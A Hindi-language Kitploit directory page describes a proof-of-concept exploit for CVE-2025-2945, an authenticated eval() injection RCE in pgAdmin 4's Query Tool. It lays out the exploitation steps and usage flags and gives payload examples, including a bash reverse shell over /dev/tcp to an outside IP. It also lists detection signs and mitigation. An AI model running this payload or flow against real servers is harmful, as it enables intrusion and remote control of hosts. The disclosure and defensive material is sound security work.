Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-2945-pgadmin-rce — pgAdmin 4 (8.10–9.1) में प्रमाणित RCE, Query Tool में eval() इंजेक्शन के माध्यम से। यह pgAdmin 9.x प्रमाणीकरण परिवर्तनों के लिए संगतता सुधारों के साथ एक अद्यतन PoC है। | Kitploit
उपकरण/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

pgAdmin 4 (8.10–9.1) में प्रमाणित RCE, Query Tool में eval() इंजेक्शन के माध्यम से। यह pgAdmin 9.x प्रमाणीकरण परिवर्तनों के लिए संगतता सुधारों के साथ एक अद्यतन PoC है।

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-2945 — pgAdmin 4 Query Tool प्रमाणित RCE

CVE-2025-2945 के लिए प्रूफ ऑफ कॉन्सेप्ट, pgAdmin 4 में एक गंभीर रिमोट कोड निष्पादन भेद्यता।

प्रभावित संस्करण: 8.10 से 9.1 तक
में स्थिर: 9.2 (4 अप्रैल 2025 को जारी)
CVSS v3.1: 9.9 (गंभीर)


अवलोकन

pgAdmin 4 क्वेरी टूल एक एंडपॉइंट उजागर करता है जो query_commited पैरामीटर स्वीकार करता है और इसे बिना किसी स्वच्छता के सीधे Python के बिल्ट-इन eval() में पास करता है। एक प्रमाणित हमलावर इस पैरामीटर के माध्यम से मनमाना Python कोड सबमिट कर सकता है और इसे pgAdmin सेवा खाते के तहत सर्वर-साइड निष्पादित करा सकता है।

कमजोर एंडपॉइंट है:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

JSON बॉडी में query_commited फ़ील्ड का मूल्यांकन सर्वर पर Python कोड के रूप में किया जाता है।


तकनीकी विश्लेषण

मूल कारण

pgAdmin 4 संस्करण 9.2 से पहले, क्वेरी टूल डाउनलोड हैंडलर उपयोगकर्ता द्वारा प्रदान किए गए इनपुट पर eval() कॉल करता है:

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

कोई इनपुट सत्यापन, सैंडबॉक्सिंग या अनुमति सूची लागू नहीं की जाती है। कोई भी मान्य Python अभिव्यक्ति pgAdmin प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होती है।

शोषण प्रवाह

  1. प्रमाणित करें — /authenticate/login पर क्रेडेंशियल POST करें, एक सत्र कुकी और CSRF टोकन प्राप्त करें
  2. sqleditor आरंभ करें — डेटाबेस क्रेडेंशियल के साथ /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> पर POST करें ताकि क्वेरी टूल सत्र स्थापित किया जा सके
  3. सर्वर ID खोजें — IDs पर पुनरावृति करते हुए /sqleditor/get_server_connection/<sgid>/<sid> GET करें जब तक कोई data.status == true वापस न करे
  4. eval ट्रिगर करें — /sqleditor/query_tool/download/<trans_id> पर {"query_commited": "<python payload>"} के साथ POST करें, निष्पादन की पुष्टि करते हुए 500 प्रतिक्रिया प्राप्त करें

CSRF टोकन हैंडलिंग (pgAdmin 9.x)

पुराने pgAdmin संस्करणों में CSRF टोकन एक छिपे हुए <input> फ़ील्ड या एक कुकी में एम्बेड किया गया था। संस्करण 9.x एक React SPA आर्किटेक्चर में चला गया जहाँ टोकन /login पेज पर window.renderSecurityPage() कॉल के अंदर JSON के रूप में एम्बेड किया गया है:

root@kitploit:~
"csrfToken": "<token value>"

टोकन सत्र-स्कोप्ड है (Flask-WTF / itsdangerous), इसलिए प्रारंभिक GET /login से प्राप्त टोकन पूरे सत्र के लिए मान्य रहता है और सभी बाद के API कॉल के लिए पुन: उपयोग किया जा सकता है।

लॉगिन एंडपॉइंट परिवर्तन

pgAdmin 9.x ने लॉगिन रूट को विभाजित किया:

  • GET /login — लॉगिन पेज प्रस्तुत करता है (CSRF टोकन शामिल है)
  • POST /authenticate/login — क्रेडेंशियल संसाधित करता है

पुराने PoCs जो सीधे /login पर POST करते हैं, उन्हें 9.x इंस्टेंस पर 404 या 405 प्राप्त होगा।


आवश्यकताएँ

  • Python 3.7+
  • वैध pgAdmin क्रेडेंशियल (कोई भी प्रमाणित उपयोगकर्ता)
  • pgAdmin में पंजीकृत सर्वर के लिए वैध डेटाबेस क्रेडेंशियल
root@kitploit:~
pip install requests faker

उपयोग

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

तर्क

तर्कविवरण
--rhostलक्ष्य होस्टनाम या IP (बिना स्कीम के)
--rportलक्ष्य पोर्ट (डिफ़ॉल्ट: 80)
--usernamepgAdmin लॉगिन ईमेल
--passwordpgAdmin लॉगिन पासवर्ड
--db-userPostgreSQL उपयोगकर्ता नाम
--db-passPostgreSQL पासवर्ड
--db-nameडेटाबेस नाम
--payloadसर्वर पर मूल्यांकन करने के लिए Python अभिव्यक्ति
--max-server-idजांच करने के लिए अधिकतम सर्वर IDs (डिफ़ॉल्ट: 10)

पेलोड उदाहरण

कमांड निष्पादन:

root@kitploit:~
--payload "__import__('os').system('id')"

रिवर्स शेल:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

पहचान

  • /sqleditor/query_tool/download/ से अनपेक्षित HTTP 500 प्रतिक्रियाएँ
  • pgAdmin प्रक्रिया द्वारा चाइल्ड प्रोसेस बनाना (शेल, curl, wget)
  • pgAdmin होस्ट से अज्ञात IPs पर आउटबाउंड कनेक्शन

शमन

pgAdmin 4 संस्करण 9.2 या बाद में अपग्रेड करें।


संदर्भ

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।

टूल डाउनलोड करें